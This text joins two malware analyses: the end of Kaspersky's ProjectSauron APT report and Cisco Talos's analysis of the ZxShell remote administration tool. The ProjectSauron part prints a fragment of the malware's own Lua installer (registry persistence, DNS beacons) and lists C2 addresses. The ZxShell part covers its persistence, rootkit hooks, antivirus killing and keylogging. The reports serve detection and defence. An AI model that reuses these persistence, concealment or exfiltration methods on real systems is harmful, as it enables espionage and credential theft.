do w.printf(ks, v s\n, k, v) if string.lower(k)  securityproviders then if string.len(v)  0 then value  string.format(s, s, v, dllName) else value  string.format(s, dllName) end if not string.find(v, dllName, 1, true) then stdIn  string.format(Windows Registry Editor Version 5.00\n\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders]\n\SecurityProviders\\s\ , value) w.printf(\n\nstdIn\ns\n, stdIn) out  w.exec2str(regedit -i, stdIn) w.printf(\n\nout\ns\n, out) else w.printf(Found dllName\n) end regwrite  true end end if regwrite  true then execStr  string.format(ftime -c \s\\SYSTEM32\\ntdll.dll\ \s\\SYSTEM32\\s\, windir, windir, dllName) res  w.exec2str(execStr) w.printf(s\n, res) execStr  string.format(nslu gc3221.
..
domain) w.exec2str(execStr) mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 14 of 22 end return regwrite end z2res  install_zeta2() if not z2res then w.printf(Installation failed\n) execStr  string.format(nslu xxc3222.
..
domain) w.exec2str(execStr) else str  w.exec2str(plist -b  grep netsvcs) pid  string.match(str, w (d) w) w.debugf(Pid d\n, pid) w.exec2str(string.format(pkill d, pid)) w.printf(Installation done\n) execStr  string.format(nslu ooc3222.
..
domain) w.exec2str(execStr) end More Lua examples are shown in Technical Analysis.
mailto:intelreportskaspersky.com https://kas.pr/LrB6 The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 15 of 22 VFS Structure The VFS can have both a linear and a two-level hierarchical view.
In the case of a two-level hierarchical view, one of the levels contains the data responsible for process injection, data stealing and storing it into the local ProjectSauron cache, and the second structure contains the data for exfiltration and external network communications.
In the case of a linear view, all types of modules are located on a single level.
Curiously, in many cases the same plugins are found in both the VFS upper and lower levels.
Typically, a local cache of stolen files is located within the C:\System Volume Information\_restoreED650925-A32C-4E9C-8A73-8E6F0509309A folder, and keylogging results are stored in WINDIR\Temp\ folder under the names bka.da or .tmp.
The VFS has some pre-defined packages of plugins called blobs.
The minimal set of plugins for process injection and stored data exfiltration is called kblog.blob and consists of the following modules: detach ilpsend dir skip In some cases, there exists an extended package variant used that redirects the exfiltration data stream through its own local proxy-server and wipes sent documents upon completion.
The extended variant contains the following modules: kgate knatt wipe Interestingly, there is no automatic wiping of the documents sent to the server in the minimal package.
Its assumed that this task should be carried out by second Lua-script (in the case of a hierarchical VFS  the parent or child).
However, this assumption is not met in all cases.
This means that in such cases the stolen documents are not removed and remain stored in the ProjectSauron cache forever, which suggests a design flaw.
mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 16 of 22 C2 Infrastructure The ProjectSauron actor is extremely well prepared when it comes to operational security.
Running an expensive cyberespionage campaign like ProjectSauron requires vast domain and server infrastructure uniquely assigned to each victim organization and never again reused.
This makes traditional network-based indicators of compromise useless because they are never reused in any other organization.
We collected 28 domains linked to 11 IPs located in the United States and several European countries that might be connected to ProjectSauron campaigns.
IP ISP 104.131.61.33 Digital Ocean, Inc., US 176.9.242.188 Closco Ltd, Germany 185.78.64.121 MM ONE Group Srl, Italy 192.195.77.59 11 Internet Inc., US 216.250.114.149 11 Internet Inc., US 217.160.176.157 11 Internet AG, Germany 37.252.125.88 Tilaa, The Netherlands 54.209.129.218 Amazon AWS, US 66.228.52.133 Linode, US 81.4.108.168 RamNode, The Netherlands 83.125.22.161 AttractSoft GmbH, Germany Even the diversity of ISPs selected for ProjectSauron operations makes it clear that the actor did everything possible to avoid creating patterns.
Unfortunately, little is known about these servers.
The list of ProjectSauron domains follows (domains in bold were extracted from malware, the rest were found via Passive DNS and are not validated): ad-consult.cc art-irisarns.com bikessport.com chirotherapie.at csrv01.rapidcomments.com dee.hcmut.edu.vn der-wein.at dievinothek.net display24.at dr-rauch.com easterncredit.net flowershop22.110mb.com gtf.cc iut.hcmut.edu.vn liebstoecklco.at lydia-leydolf.at mail.mbit-web.com mbit-web.com mycruiseship.net myhomemusic.com ping.sideways.ru rapidcomments.com sba-messebau.at utc-wien.at weingut-haider-malloth.at wildhorses.awardspace.info windward-trading.biz winnie-andersen.com mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 17 of 22 Attribution Attribution is hard and reliable attribution is rarely possible in cyberspace.
Even with confidence in various indicators and apparent attacker mistakes, there is a greater likelihood that these can all be smoke and mirrors created by an attacker with a greater vantage point and vast resources.
When dealing with the most advanced threat actors, as is the case with ProjectSauron, attribution becomes an unsolvable problem.
Rather than speculate on the perpetrators behind such a sophisticated attack, we instead highlight a few relevant observations made during analysis.
Language Use All human-written text is in English.
Core scenarios that orchestrated ProjectSauron modules were written in Lua, a computer language that traditionally doesnt support the UTF-16 character set for string operations.
However, the target systems had some local paths in a non-Latin character set thus creating the requirement to extend Lua to support UTF- 16, which the developers of ProjectSauron did.
This suggests that originally the ProjectSauron developers worked and tested their code on systems with a Latin character set and only after deploying it in a real-world scenario found Luas features deficient.
Instead of scraping their interpreter of choice, they decided to modify it to implement the missing features.
One of the configuration files we extracted contained a list of file extensions and keywords that contain Italian words: .account..acct..domain..login..member..user..name.email._ididuidmnmailaddress.nick.alias codiceuinsign-instrCodUtente.pass..pwpw.additional_info.secret..segreto.
The italian keywords and filenames targeted by ProjectSauron data theft modules can be translated as following: Italian keyword Translation Codice code CodUtente Usercode Segreto Secret mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 18 of 22 Most ProjectSauron modules contain standard embedded usage output in proficient English, i.e.
arping module -r    Resolve hosts that answer.
-l    Print only replying Ips.
-m    Do not display MAC addresses.
This looks like a very traditional Unix-way of outputting simple command help/usage.
However, there is no common style of outputting module usage and it varies from module to module.
Here is an example of a different usage output: kblogi module kblogi [options] Options: kblogi -p proc    Inject using process name or pid.
Default explorer.exe.
-c file    Convert mode: Read log from file and convert to text.
-t sec     Maximum running time in seconds -v         Verbose mode -?
Displays this usage information.
While it may look similar to the previous usage output an experienced user would recognize the difference: it looks more like a usage of command from Windows.
The option -?
is rarely seen in the Unix world, optional parameters are enclosed with [ and ] characters, mandatory parameters are enclosed with  and , etc.
The following example of usage output is indicative of an experienced Unix user with proper formatting: basex module basex [-b base] [-d [-f]] [-h] Options: -b base  64, 64url, 32, 32url or 16.
Default is 64 -d       Decode data.
Default is to encode -f       Force decoding when input is invalid/corrupt -h       This cruft Uses standard in/out.
See man page for examples.
mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 19 of 22 It seems that the same developer created several tools, as indicated by further identical-style usage formatting.
DNS Exfiltration module (dext) dext [options] suffix Options: -a        Assemble rows of DNS names back to a single string of data -f        Force - removes checks of DNS names and lengths (during split) and missing/wrapped data (during assembly) -l length Specify length of data part of suffix (default and max is d) -r        Randomize data lengths (length/2 to length) -h        This cruft Suffix format: domain.com See man page for examples.
There is a noteworthy reference to a man page, a term for standard Unix manuals.
Another unique language feature is usage of This cruft for the -h option.
The term cruft is rarely used by non-native speakers and actually has a Wikipedia article to explain its use: Cruft is jargon for anything that is left over, redundant and getting in the way.
It is used particularly for superseded and unused technical and electronic hardware and useless, superfluous or dysfunctional elements in computer software.
...
Around 1958, the term was used in the sense of garbage by students frequenting the MIT Tech Model Railroad Club.
...
The FreeBSD handbook uses the term to refer to leftover or superseded object code that accumulates in a folder or directory when software is recompiled and new executables and data files produced.
Older versions of software in the BSD world, such as cryptcat or netcat (a very common universal network client/server tool for network testing) used identical option descriptions: Netcat tool usage, Apple Mac OS, 1999 Cryptcat tool usage, KALI Linux, 2014 ... -g gateway    source-routing hop point[s], up to 8 -G num           source-routing pointer: 4, 8, 12, ... -h                      this cruft ...  -g gateway      source-routing hop point[s], up to 8 -G num          source-routing pointer: 4, 8, 12, ... -h          this cruft ... mailto:intelreportskaspersky.com https://en.wikipedia.org/wiki/Cruft The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 20 of 22 In fact, this unique way to comment the -h option is mostly found in netcat-derivative projects based on the original netcat developed by an old-school hacker known as hobbit (hobbitavian.org)1, who first released the netcat source code back in 1995.
Hobbit used the word cruft four times in the netcat110 source code from 1996: / timeout and other signal handling cruft / -h      this cruft\n\ and have xxx.bat that types out all the cruft for INCLUDE\1.
compiler cruft?
?
However, we do not believe that hobbit can be in any way related to the development of ProjectSauron modules.
The more likely explanation is that the developers of the ProjectSauron modules are also old school hackers that develop advanced tools and use this cruft as a tribute to old and stable tools.
1 Hobbits personal page is at http://techno-fandom.org/hobbit/ mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 21 of 22 Conclusions Every APT attack we analyze brings with it some new knowledge about the nature of cyberespionage.
The attackers are hackers first and foremost and, as proficient hackers, they invent novel ways to get into a network, do lateral movement, leave nearly no traces, all while exfiltrating valuable data.
ProjectSauron is a very advanced actor, comparable only to the top-of-the-top in terms of sophistication: alongside Duqu, Flame, Equation, and Regin.
Whether related or unrelated to these advanced actors, the ProjectSauron attackers have definitely learned from these others.
As a reminder, here are some features of other APT attackers that ProjectSauron attackers had carefully learned from or emulated: Duqu: Use of intranet C2s (that compromised target servers may act as independent C2s) Running only in memory (persistence on a few gateway hosts only) Use of different encryption methods per victim Use of named pipes for LAN communication Malware distribution through legitimate software deployment channels Flame: Lua-embedded code Secure file deletion (through data wiping) Attacking air-gapped systems via removable devices Equation and Regin: Usage of RC5/RC6 encryption Virtual Filesystems (VFS) Attacking air-gapped systems via removable devices Hidden data storage on removable devices These other actors also showed what makes them vulnerable to potential exposure and ProjectSauron did its best to address these issues: Vulnerable or persistent C2 locations ISP, IP, domains, and tool reuse across different campaigns Crypto-algorithms reuse (as well as encryption keys) Forensic evidence on disk Timestamps in various components Large volumes of network data or unusual protocols or message formats In addition, it appears that the attackers took special care with what we consider as indicators of compromise and implemented a unique pattern for each and every target they attacked, so that the same indicators mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 22 of 22 would have little value for anyone else.
This is a summary of the ProjectSauron strategy as we see it.
The attackers clearly understand that we as researchers are always looking for patterns.
Remove the patterns and the operation will be harder to discover.
We are aware of more than 30 organisations attacked but we are sure that this is just a tiny tip of the iceberg.
A common organisation hit by a serious actor such as ProjectSauron can hardly cope with proper detection and mitigation of such a threat on its own.
As attackers become seasoned and more mature, the defending side will have to build an identical mindset: developing the highest technical skills comparable to those of the attackers in order to resist their onslaught.
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Threat Spotlight: Group 72, Opening the ZxShell This post was authored by Andrea Allievi, Douglas Goddard, Shaun Hurley, and Alain Zidouemba.
Recently, there was a blog post on the takedown of a botnet used by threat actor group known as Group 72 and their involvement in Operation SMN.
This group is sophisticated, well funded, and exclusively targets high profile organizations with high value intellectual property in the manufacturing, industrial, aerospace, defense, and media sector.
The primary attack vectors are watering-hole, spear phishing, and other web-based attacks.
Frequently, a remote administration tool (RAT) is used to maintain persistence within a victims organization.
These tools are used to further compromise the organization by attacking other hosts inside the targets network.
ZxShell (aka Sensocode) is a Remote Administration Tool (RAT) used by Group 72 to conduct cyber-espionage operations.
Once the RAT is installed on the host it will be used to administer the client, exfiltrate data, or leverage the client as a pivot to attack an organizations internal infrastructure.
Here is a short list of the types of tools included with ZxShell: Keylogger (used to capture passwords and other interesting data) Command line shell for remote administration Remote desktop Various network attack tools used to fingerprint and compromise other hosts on the network Local user account creation tools For a complete list of tools please see the MainConnectionIo section.
The following paper is a technical analysis on the functionality of ZxShell.
The analysts involved were able to identify command and control (C2) servers, dropper and installation methods, means of persistence, and identify the attack tools that are core to the RATs purpose.
In addition, the researchers used their analysis to provide detection coverage for Snort, Fireamp, and ClamAV.
Table of Contents 1.
Background 2.
Distribution and Delivery 3.
Analysis of the main ZxShell module DllMain Install ServiceMain ShellMain ShellMainThread GetIpListAndConnect MainConnectionIo Uninstall ZxFunction001 ZxFunction002 4.
Command and Control server 5.
Malware Package http://blogs.cisco.com/author/AndreaAllievi http://blogs.cisco.com/author/douglasgastonguaygoddard http://blogs.cisco.com/author/shaunhurley/ http://blogs.cisco.com/author/AlainZidouemba http://blogs.cisco.com/talos/threat-spotlight-group-72/ 6.
Version Information 7.
Extracted URL Analysis 8.
Conclusion 9.
Protecting Users From These Threats 10.
Appendix A: Snort rules 11.
Appendix B: ClamAV signatures 12.
Appendix C: List of Memory Offsets for Some ZxShell Functions 13.
Appendix D: Other Collateral Background ZxShell has been around since 2004.
There are a lot of versions available in the underground market.
We have analyzed the most common version of ZxShell, version 3.10.
There are newer versions, up to version 3.39 as of October 2014.
Distribution and Delivery An individual who goes by the name LZX in some online forums is believed to be the original author of ZxShell.
Since ZxShell has been around since at least 2004, numerous people have purchased or obtained the tools necessary to set up ZxShell command and control servers (CC) and generate the malware that is placed on the victims network.
ZxShell has been observed to be distributed through phishing attacks, dropped by exploits that leverage vulnerabilities such as CVE-2011- 2462, CVE-2013-3163, and CVE-2014-0322.
Analysis of the Main ZxShell Module To illustrate the functionality of main ZxShell module, Lets take a look at the following sample: MD5: e3878d541d17b156b7ca447eeb49d96a SHA256: 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c It exports the following functions, which are examined in greater detail below: DllMain Install UnInstall ServiceMain ShellMain ShellMainThread zxFunction001 zxFunction002 DllMain DllMain performs the initialization of ZxShell.
It allocates a buffer of 0x2800 bytes and copies the code for the ZxGetLibAndProcAddr function.
To copy memory, the memcpy function is invoked.
It is not directly used from msvcrt.dll but is instead copied to another memory chunk before being called.
Finally, the trojan Import Address Table (IAT) is resolved and the file path of the process that hosts the dll is resolved and saved in a global variable.
http://tools.cisco.com/security/center/viewAlert.x?alertId24794 http://tools.cisco.com/security/center/viewAlert.x?alertId29886 http://tools.cisco.com/security/center/viewAlert.x?alertId32870 Install ZxShell.dll is injected in a shared SVCHOST process.
The Svchost group registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost is opened and the netsvc group value data is queried to generate a name for the service.
Before the malware can be installed a unique name must to be generated for the service.
The malware accomplishes this through querying the netsvc group value data located in the svchost group registry key which is HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost.
At startup, Svchost.exe checks the services part of the registry and constructs a list of services to load.
Each Svchost session can contain multiple shared services that are organized in groups.
Therefore, separate services can run, depending on how and where Svchost.exe is started.
Image 1.
Svchost Groups registry key Svchost.exe groups are identified in the above registry key.
Each value under this key represents a separate Svchost group and appears as a separate instance when you are viewing active processes.
Each value is a REG_MULTI_SZ value and contains the services that run under that Svchost group.
Each Svchost group can contain one or more service names that are extracted from the following registry key, whose Parameters key contains a ServiceDLL value: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Service On a Windows machine, the netsvc group contains names of both existing and non-existing services.
ZxShell exploits this fact by cycling between each of the names, verifying the existence of the real service.
The services existence is verified with the ServiceExists function, which attempts to open the relative registry sub-key in HKLM\SYSTEM\CurrentControlSet\Services.
The first service name that is not installed on the system becomes the ZxShell service name.
A new service is then created using the service parser function ProcessScCommand.
ZxShell implemented its own version of the Windows SC command.
There are minor differences between the ZxShell implementation of this command and the original Windows one, but they are irrelevant for the purpose of the analysis The command used to install the service is: sc create service name service name SystemRoot\System32\svchost.exe -k netsvcs where service name is the chosen infected service name.
http://blogs.cisco.com/wp-content/uploads/image015.jpg Image 2.
SC command used to create the target service,and parsed by ProcessScCommand routine The installed service registry key is opened and the 2 values under its Parameter subkey are created.
These 2 values, ServiceDll and ServiceDllUnloadOnStop are needed for services that run in a shared process.
Before the service is started ChangeServiceConfig is called to modify the service type to shared and interactive.
If the service fails to start then a random service name formatted as netsvc_xxxxxxxx, where xxxxxxxx represent an 8-digit random hex value, is added to the netsvc group and the entire function is repeated.
ServiceMain This function is the entry point of the service.
It registers the service using the RegisterServiceCtrlHandler Windows API function.
The ZxShell service handler routine is only a stub: it responds to each service request code, doing nothing, and finally exits.
It sets the service status to RUNNING and finally calls the ShellMain function of ZxShell.
ShellMain The ShellMain function is a stub that relocates the DLL to another buffer and spawns a thread that starts from ShellMainThreadInt at offset 0xC0CD.
The ShellMainThreadInt function gets the HeapDestroy Windows API address and replaces the first 3 bytes with the RET 4 opcode.
Subsequently, it calls the FreeLibrary function to free its own DLL buffer located at its original address.
Because of this, the allocated heaps will not be freed.
It re-copies the DLL from the new buffer to the original one using the memcpy function.
Finally, it spawns the main thread that starts at the original location of ShellMainThread procedure, and terminates.
At this point, the ZxShell library is no longer linked in the module list of the host process.
This is important because if any system tool tries to open the host process it will never display the ZxShell DLL.
ShellMainThread This thread implements the main code, responsible for the entire botnet DLL.
First, it checks if the DLL is executed as a service.
If so, it spawns the service watchdog thread.
The watchdog thread checks the registry path of the ZxShell service every 2 seconds, to verify that it hasnt been modified.
If a user or an application modifies the ZxShell service registry key, the code restores the original infected service key and values.
http://blogs.cisco.com/wp-content/uploads/image042.jpg Image 3.
The watchdog thread of ZxShell service The buffer containing the ZxShell Dll in the new location is freed using the VirtualFree API function.
A handle to the DLL file is taken in order to make its deletion more difficult.
The ZxShell mutex is created named _ZXSHELL_.
ZxShell plugins are parsed and loaded with the AnalyseAndLoadPlugins function.
The plugin registry key HKLM\SYSTEM\CurrentControlSet\Control\zxplug is opened and each value is queried.
The registry value contains the plugin file name.
The target file is loaded using the LoadLibrary API function, and the address of the exported function zxMain is obtained with GetProcAddress.
If the target filename is incorrect or invalid the plugin file is deleted and the registry value is erased.
That is performed by the function DeleteAndLogPlugin.
Otherwise, the plugin is added to an internal list.
Here is the data structure used to keep track of the plugins: typedef struct _ZX_PLUGINS_STRUCT LPSTR lpStrRegKey        //  0x00 - ZxShell Plugins registry key string // (like SYSTEM\CurrentControlSet\Control\zxplug) DWORD dwUnknown2        //  0x04 - Unknown DWORD value LPVOID lp138hBuff        //  0x08 - Plugins list DWORD dwZero            //  0x0C - Always zero HANDLE hReg            //  0x10 - Handle to plugin registry key http://blogs.cisco.com/wp-content/uploads/image111.png ZX_PLUGINS_STRUCT, PZX_PLUGINS_STRUCT The thread KeyloggerThread is spawned and is responsible for doing keylogging on the target workstation.
We will take a look at the keylogger later on.
Finally the main network communication function GetIpListAndConnect is called.
GetIpListAndConnect This function is at the core of the RATs network communication.
It starts by initializing a random number generator and reading 100 bytes inside the ZxShell Dll at a hardcoded location.
These bytes are XOR encrypted with the byte-key 0x85 and contains a list of remote hosts where to connect.
The data is decrypted, the remote host list is parsed and verified using the BuildTargetIpListStruct function.
There are 3 types of lists recognized by ZxShell: plain ip addresses, HTTP and FTP addresses.
If the list does not contain any item, or if the verification has failed, the ZxShell sample tries to connect to a hardcoded host with the goal of retrieving a new updated list.
Otherwise, ZxShell tries to connect to the first item of the list.
If ZxShell successfully connects to the remote host, the function DoHandshake is called.
This function implements the initial handshake which consists of exchanging 16 bytes, 0x00001985 and 0x00000425,  with the server.
The function GetLocalPcDescrStr is used to compose a large string that contains system information of the target workstation.
That information is the following: local hostname organization owner operating system details CPU speed total physical memory The string is sent to the remote host and the response is checked to see if the first byte of the response is 0xF4, an arbitrary byte.
If it is, the botnet connection I/O procedure is called through the MainConnectionIo function.
Image 4.
The GetLocalPcDescrStr and DoHandshake functions called beforestarting the command processing Otherwise, the ZxShell code closes the socket used and sleeps for 30 seconds.
It will then retry the connection with the next http://blogs.cisco.com/wp-content/uploads/image08.jpg remote host, if there is one.
It is noteworthy that this function includes the code to set the ZxShell node as a server: if one of the hardcoded boolean value is set to 1, a listening socket is created.
The code waits for an incoming connection.
When the connection is established a new thread is spawned that starts with the MainConnectionIo function.
MainConnectionIo The MainConnectionIo function checks if the Windows Firewall is enabled, sets the Tcp Keep Alive value and Non-blocking mode connection options and receives data from the remote host through the ReceiveCommandData function.
If the communication fails, ZxShell disables the firewall by modifying the registry key: HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile Then the connection is retried.
The received command is then processed by the ZxShell function with the ProcessCommand function.
The command processing function starts by substituting the main module name and path in the hosting process PEB, with the one of the default internet browser.
The path of the main browser of the workstation is obtained by reading the registry value: HKLM\SOFTWARE\Classes\HTTP\shell\open\command Image 5.
Our test workstation use Windows Internet Explorer as default browser This trick renders identification by firewall more cumbersome.
A host firewall  will recognize the outgoing connection as originated by the browser instead of the ZxShell service host process.
The browser process always performs outgoing connections and the firewall shouldnt block them.
The command processing is straightforward.
Here is the list of common commands: COMMAND MEANING Help / ?
Get help Exit / Quit Exit and shut down the botnet client SysInfo Get target System information SYNFlood Perform a SYN attack on a host Ps Process service Unix command implementation CleanEvent Clear System Event log http://blogs.cisco.com/wp-content/uploads/image09.jpg FindPass Find login account password FileTime Get time information about a file FindDialPass List all the dial-up accounts and passwords User Account Management System TransFile Transfer file in or from remote host Execute Run a program in the remote host SC Service control command, implemented as the Windows one CA Clone user account RunAs Create new process as another User or Process context.
TermSvc Terminal service configuration (working on Win Xp/2003) GetCMD Remote Shell Shutdown Logout, shutdown or restart the target system ZXARPS Spoofing, redirection, packet capture ZXNC Run ZXNC v1.1 -- a simple telnet client ZXHttpProxy Run a HTTP proxy server on the workstation ZXSockProxy Run a Sock 4  5 Proxy server ZXHttpServer Run a custom HTTP server PortScan Run TCP Port MultiScanner v1.0 KeyLog Capture or record the remote computers keystrokes.
The implementation is a userland keylogger that polls the keymap with each keystroke.
LoadDll Load a DLL into the specified process End Terminate ZxShell DLL Uninstall Uninstall and terminate ZxShell bot DLL ShareShell Share a shell to other CloseFW Switch off Windows Firewall FileMG File Manager winvnc Remote Desktop rPortMap Port Forwarding capsrv Video Device Spying zxplug Add and load a ZxShell custom plugin This set of functionality allows the operator complete control of a system.
Being able to transfer and execute files on the infected system means the attacker can run any code they please.
Further, the keylogging and remote desktop functionality allows the operator to spy on the infected machine, observing all keystrokes and viewing all user actions.
Uninstall Unloads ZxShell and deletes all of the active components.
This simply deletes the ZxShell service key from the Windows registry (using SHDeleteKey Api) and all of the subkeys.
Finally, it marks ZxShell main Dll for deletion with the MoveFileEx Windows API.
ZxFunction001 This function is the supporting functionality for WinVNC.
To allow the VNC session to connect, the current network socket WSAProtcol_Info structure is written to a named pipe prior to calling zxFunction001.
Once the named pipe has been created, CreateProcessAsUserA is called with the following as the CommandLine parameter : systemroot\\rundll32.exe zxshell dll name,zxFunction001 name of NamedPipe http://msdn.microsoft.com/en-us/library/windows/desktop/ms74167528vvs.8529.aspx zxFunction001 modifies the current process memory, uses data contained in the named pipe to create a socket, and then executes the code that sends the remote desktop session to the server controller.
ZxFunction002 This function will either bind the calling process to a port or has the calling process connect to a remote host.
The function is called in the following manner: systemroot\\rundll32.exe zxshell dll name,zxFunction002 name of NamedPipe The functionality (connect or bind) depends on the data contained within the named pipe.
Unlike zxFunction001, this is not used by  any of the RAT commands in the zxshell.dll.
Kernel Device Driver LoveUSD Apart from user-mode ZxShell droppers mentioned earlier, there is a file (SHA256: 1e200d0d3de360d9c32e30d4c98f07e100f6260a86a817943a8fb06995c15335) that installs a kernel device driver called loveusd.sys.
The architecture of this dropper is different from the others: it starts extracting the main driver from itself.
It adds the SeLoadDriver privilege to its access token and proceeds to install the driver as a fake disk filter driver.
ZxShell opens the registry key that describes the disk class drivers: SYSTEM\CurrentControlSet\Control\Class\4D36E967-E325-11CE-BFC1-08002BE10318 It then adds the Loveusd.sys extracted driver name to the upper filter list.
In our analysed sample the Loveusd.sys driver is installed with the name USBHPMS.
Finally the driver is started using the ZwLoadDriver native API.
The ZxShell driver starts by acquiring some kernel information and then hooking ObReferenceObjectByHandle API.
Finally it spawns 2 system threads.
The first thread is the communication thread.
ZxShell employs a strange method for communication: it hooks the NtWriteFile API and recognizes 5 different special handle values as commands: 0x111111111 -- Hide Loveusd driver from the system kernel driver list 0x22222222 -- Securely delete an in-use or no-access target file-name 0x44444444 -- Unhook the ZwWriteFile API and hook KiFastCallEntry 0x55555555 -- Remove the ZxShell Image Load Notify routine 0x88888888 -- Set a special value called type in Windows registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverMain The second Loveusd system thread does a lot of things.
Its principal duties are to create the ZxShell main DLL in c:\Windows\System32\commhlp32.dll and to install the Kernel Load Image Notify routine.
The code then tries to kill each process and service that belongs to the following list of AV products: Symantec Firewall Norton ESET McAfee Avast Avira Sophos Malwarebytes Next, the ZxShell Load-Image Notify function prevents the AV processes from restarting.
The installation procedure continues in the user-mode dropper.
The ZxShell service is installed as usual, and the in-execution dropper is deleted permanently using the special handle value 0x22222222 for the WriteFile API call.
This handle value is invalid: all the windows kernel handle values are by design a multiple of 4.
The ZxShell hook code knows that and intercept it.
ObReferenceObjectByHandle is a Kernel routine designed to validate a target object and return the pointer to its object body (and even its handle information), starting from the object handle (even the user-mode one).
The hook installed by ZxShell implements one of its filtering routine.
It filters each attempt to open the ZxShell protected driver or the main DLL, returning a reference to the netstat.exe file.
The protection is enabled to all processes except for ones in the following list: Svchost.exe, Lsass.exe, Winlogon.exe, Services.exe, Csrss.exe, ctfmon.exe, Rundll32.exe, mpnotify.exe, update.exe.
If the type of the object that the system is trying to validate is a process, the hook code rewrites again the configuration data of the ZxShell service in the windows registry.
Image 6.
Our test Windows XP workstation trying to open the sys file of ZxShell LOVEUSD driver The last type of Kernel modification that ZxShell rootkit performs is the system call dispatcher (KiFastCallEntry) hook.
In this manner, ZxShell is able to completely hide itself, intercepting the following Kernel API calls: ZwAllocateVirtualMemory, ZwOpenEvent, ZwQueryDirectoryFile, ZwWriteFile, ZwEnumerateKey, and ZwDeviceIoControlFile.
Command and Control Server Sample (SHA256: 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c) is configured to act as a server.
The symbol g_bCreateListenSck is set to 1.
This means that, as seen above, the ZxShell Dll is started in listening mode.
It http://blogs.cisco.com/wp-content/uploads/image026.jpg connects to the first remote CC that tries to contact it and succeeds in the handshake.
The encrypted IP address is 127.0.0.2 (used as loopback) and no connection is made on that IP address (due to the listening variable set to 1).
Malware Package We used the ZxShell package for version 3.10 (SHA256: 1622460afbc8a255141256cb77af61c670ec21291df8fe0989c37852b59422b4).The convenient thing about this is that the CNC panel worked with any version, 3.10 and above.
The buttons are all in Chinese, with the help of Google Translate and keen detective skills (read: button clicking), weve deciphered the functionality.
When you start the controller, you need to set the port you want to listen on and if youve set a password, add it here.
Once an infected machine connects, you see its information displayed in a selection box at the top.
There are some built in functions on the side for the more common features.
These include remote desktop, webcam spying, remote shell, and file management.
You can also select a host and type help for a full list of commands.
http://blogs.cisco.com/wp-content/uploads/image06.png I have the same machine infected with two different version of ZxShell.
Sending the help command for each, you can see the extra features added between version 3.1 and 3.2.
Keylogging, ZXARPS (IP and URL spoofing), and SYNFlood are some of the interesting features added to version 3.2.
http://blogs.cisco.com/wp-content/uploads/image00.png http://blogs.cisco.com/wp-content/uploads/image07.png Version Information We wrote a script to extract version info from the binaries we have.
3.100 : 914 3.200 : 152 3.210 : 118 3.220 : 14 3.390 : 3 In versions 3.1 -- 3.21, the configuration info is xor encoded with 0x85.
This configuration info can be changed with a tool included in the ZxShell package.
In versions 3.22 and 3.39 the routine changes.
The new xor encoding byte is 0x5B.
The data is stored in the last 0x100 bytes of the file.
The first 8 bytes of data are static.
Then there is the dll install name, the domain, and the port.
Extracted URL Analysis Knowing the obfuscation routines for this data we wrote a script to extract the URLs / IPs and ports stored.
The most common ports used are, 80, 1985, 1986, and 443.
1985 is the default port for the malware, 1986 is the lazy variation of that port.
Port 80 and 443 are the default ports for HTTP and HTTPS traffic.
The next most common is port 53.
This is used in some of the newer 3.22 and 3.39 samples.
After that, the count for each port starts declining sharply.
The choices are interesting though, many correspond to what looks like the birth year of the controller (ie.
years in the late 1980s and early 1990s), and others seem to match what year the malware was launched in (ie.
in the 2000s, relatively close to the current year).
Since this malware dates back to around 2004, there are many samples containing CNC URLs from the 3322.org page.
This page used to offer no-ip type hosting and was widely used by malware authors.
So much so that Microsoft did a takedown in 2012.
A similar service, vicp.net, is also seen in many of the domains.
In the malware, if a domain is configured, it will retrieve domain.tld/myip.txt.
This file contains a list of IP addresses for the infected machine to connect back to.
Otherwise, if an IP address is configured, it will connect directly to that IP address.
http://blogs.cisco.com/wp-content/uploads/image05.png Cloning the ZxShell Server We have written a simple C ZxShell Server that implements the communication and the handshake for the version 3.10 and 3.20 of the ZxShell DLL.
The implementation is quite simple: After the handshake, 2 threads that deal with data transfer are spawned.
Here we have some screenshots that show the Server and the ZxShell Keylogger in action: Our server has accepted a connection from a remote host The ZxShell keylogger has captured 2 user passwords(gmail.com and amazon.com) The last image shows a very interesting feature of the ZxShell keylogger: once installed and activated, the keylogger is able to catch each password that the user inserts in the login box of each website (like Google, Amazon and so on).
This makes the keylogger a perfect weapons for the attackers.
They will be able to steal and resell in the underground market the sensitive data of each victim.
Conclusion Advanced persistent threats will remain a problem for companies and organizations of all sizes, especially those with high financial or intellectual property value.
Group 72s involvement in Operation SMN is another example of what sort of damage that can be done if organizations are not diligent in their efforts to secure their networks.
ZxShell is one sample amongst several tools that Group 72 used within their campaign.
ZxShell is a sophisticated tool employed by Group 72 that contains all kinds of functionality.
Its detection and removal can be difficult due to the various techniques used to conceal its presence, such as disabling the host anti-virus, masking its http://blogs.cisco.com/wp-content/uploads/image031.jpg http://blogs.cisco.com/wp-content/uploads/image10.jpg installation on a system with a valid service name, and by masking outbound traffic as originating from a web browser.
While other techniques are also utilized to conceal and inhibit its removal, ZxShells primary functionality is to act as a Remote Administration Tool (RAT), allowing the threat actor to have continuous backdoor access on to the compromised machine.
As our analysis demonstrates, ZxShell is an effective tool that can be ultimately used to steal user credentials and other highly valuable information.
The threat posed by ZxShell to organizations is one that cannot be ignored.
Organizations with high financial or intellectual property value should take the time to ensure their security requirements are met and that employees are educated about the security threats their organizations face.
